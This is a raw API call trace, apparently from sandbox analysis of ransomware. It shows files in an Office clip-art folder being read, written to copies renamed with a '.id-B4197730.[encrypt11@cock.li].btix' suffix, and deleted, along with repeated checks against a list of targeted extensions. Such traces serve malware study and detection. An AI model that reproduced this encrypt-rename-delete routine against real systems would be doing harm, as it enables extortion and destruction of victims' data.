[0052.652] lstrlenW (lpString=".jpg") returned 4 [0052.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.653] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.653] lstrlenW (lpString="AN04384_.WMF") returned 12 [0052.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.653] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=4996) returned 1 [0052.653] CloseHandle (hObject=0x364) returned 1 [0052.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0052.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.654] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.654] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.654] GetLastError () returned 0x0 [0052.654] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1384, lpOverlapped=0x0) returned 1 [0052.751] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1390, lpOverlapped=0x0) returned 1 [0052.752] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.752] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.752] SetEndOfFile (hFile=0x388) returned 1 [0052.752] CloseHandle (hObject=0x388) returned 1 [0052.752] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.753] SetEndOfFile (hFile=0x364) returned 1 [0052.753] CloseHandle (hObject=0x364) returned 1 [0052.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.754] lstrlenW (lpString=".doc") returned 4 [0052.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.754] lstrlenW (lpString=".docx") returned 5 [0052.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.754] lstrlenW (lpString=".pdf") returned 4 [0052.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.754] lstrlenW (lpString=".xls") returned 4 [0052.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.754] lstrlenW (lpString=".xlsx") returned 5 [0052.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.754] lstrlenW (lpString=".ppt") returned 4 [0052.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.754] lstrlenW (lpString=".zip") returned 4 [0052.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.754] lstrlenW (lpString=".rar") returned 4 [0052.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.754] lstrlenW (lpString=".bz2") returned 4 [0052.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString=".7z") returned 3 [0052.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.755] lstrlenW (lpString=".dbf") returned 4 [0052.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.755] lstrlenW (lpString=".1cd") returned 4 [0052.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.755] lstrlenW (lpString=".jpg") returned 4 [0052.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.755] lstrlenW (lpString=".doc") returned 4 [0052.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString=".docx") returned 5 [0052.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.755] lstrlenW (lpString=".pdf") returned 4 [0052.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString=".xls") returned 4 [0052.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.755] lstrlenW (lpString=".xlsx") returned 5 [0052.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.755] lstrlenW (lpString=".ppt") returned 4 [0052.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.755] lstrlenW (lpString=".zip") returned 4 [0052.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.755] lstrlenW (lpString=".rar") returned 4 [0052.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString=".bz2") returned 4 [0052.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.755] lstrlenW (lpString=".7z") returned 3 [0052.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.756] lstrlenW (lpString=".dbf") returned 4 [0052.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.756] lstrlenW (lpString=".1cd") returned 4 [0052.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0052.756] lstrlenW (lpString=".jpg") returned 4 [0052.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.756] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.756] lstrlenW (lpString="BD00160_.WMF") returned 12 [0052.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.756] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=22516) returned 1 [0052.756] CloseHandle (hObject=0x364) returned 1 [0052.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0052.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.758] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.758] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.758] GetLastError () returned 0x0 [0052.758] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x57f4, lpOverlapped=0x0) returned 1 [0054.096] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x5800, lpOverlapped=0x0) returned 1 [0054.850] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0054.850] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0054.850] SetEndOfFile (hFile=0x388) returned 1 [0055.559] CloseHandle (hObject=0x388) returned 1 [0056.476] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.476] SetEndOfFile (hFile=0x364) returned 1 [0056.477] CloseHandle (hObject=0x364) returned 1 [0056.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0056.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.478] lstrlenW (lpString=".doc") returned 4 [0056.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.478] lstrlenW (lpString=".docx") returned 5 [0056.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.478] lstrlenW (lpString=".pdf") returned 4 [0056.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.478] lstrlenW (lpString=".xls") returned 4 [0056.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.479] lstrlenW (lpString=".xlsx") returned 5 [0056.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.479] lstrlenW (lpString=".ppt") returned 4 [0056.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.479] lstrlenW (lpString=".zip") returned 4 [0056.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.479] lstrlenW (lpString=".rar") returned 4 [0056.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.491] lstrlenW (lpString=".bz2") returned 4 [0056.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.491] lstrlenW (lpString=".7z") returned 3 [0056.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.491] lstrlenW (lpString=".dbf") returned 4 [0056.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.492] lstrlenW (lpString=".1cd") returned 4 [0056.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.492] lstrlenW (lpString=".jpg") returned 4 [0056.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.492] lstrlenW (lpString=".doc") returned 4 [0056.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString=".docx") returned 5 [0056.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.492] lstrlenW (lpString=".pdf") returned 4 [0056.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString=".xls") returned 4 [0056.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.492] lstrlenW (lpString=".xlsx") returned 5 [0056.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.492] lstrlenW (lpString=".ppt") returned 4 [0056.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.492] lstrlenW (lpString=".zip") returned 4 [0056.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.492] lstrlenW (lpString=".rar") returned 4 [0056.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString=".bz2") returned 4 [0056.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString=".7z") returned 3 [0056.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.492] lstrlenW (lpString=".dbf") returned 4 [0056.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.492] lstrlenW (lpString=".1cd") returned 4 [0056.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0056.493] lstrlenW (lpString=".jpg") returned 4 [0056.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.493] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0056.493] lstrlenW (lpString="BD19563_.GIF") returned 12 [0056.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0056.493] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=20454) returned 1 [0056.493] CloseHandle (hObject=0x394) returned 1 [0056.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0056.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0056.494] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.494] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0056.494] GetLastError () returned 0x0 [0056.494] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0056.496] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0056.497] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0056.497] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0056.497] SetEndOfFile (hFile=0x37c) returned 1 [0056.497] CloseHandle (hObject=0x37c) returned 1 [0056.498] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.498] SetEndOfFile (hFile=0x394) returned 1 [0056.499] CloseHandle (hObject=0x394) returned 1 [0056.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0056.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.500] lstrlenW (lpString=".doc") returned 4 [0056.500] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.500] lstrlenW (lpString=".docx") returned 5 [0056.500] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.500] lstrlenW (lpString=".pdf") returned 4 [0056.500] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.500] lstrlenW (lpString=".xls") returned 4 [0056.500] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.500] lstrlenW (lpString=".xlsx") returned 5 [0056.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.500] lstrlenW (lpString=".ppt") returned 4 [0056.500] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.500] lstrlenW (lpString=".zip") returned 4 [0056.500] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.500] lstrlenW (lpString=".rar") returned 4 [0056.500] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.500] lstrlenW (lpString=".bz2") returned 4 [0056.500] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.500] lstrlenW (lpString=".7z") returned 3 [0056.500] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.500] lstrlenW (lpString=".dbf") returned 4 [0056.500] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.501] lstrlenW (lpString=".1cd") returned 4 [0056.501] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.501] lstrlenW (lpString=".jpg") returned 4 [0056.501] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.501] lstrlenW (lpString=".doc") returned 4 [0056.501] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.501] lstrlenW (lpString=".docx") returned 5 [0056.501] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.501] lstrlenW (lpString=".pdf") returned 4 [0056.501] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.501] lstrlenW (lpString=".xls") returned 4 [0056.501] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.501] lstrlenW (lpString=".xlsx") returned 5 [0056.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.501] lstrlenW (lpString=".ppt") returned 4 [0056.501] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.501] lstrlenW (lpString=".zip") returned 4 [0056.501] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.501] lstrlenW (lpString=".rar") returned 4 [0056.502] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.502] lstrlenW (lpString=".bz2") returned 4 [0056.502] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.502] lstrlenW (lpString=".7z") returned 3 [0056.502] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.502] lstrlenW (lpString=".dbf") returned 4 [0056.502] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.502] lstrlenW (lpString=".1cd") returned 4 [0056.502] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0056.502] lstrlenW (lpString=".jpg") returned 4 [0056.502] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.502] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0056.502] lstrlenW (lpString="BD19582_.GIF") returned 12 [0056.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0056.502] 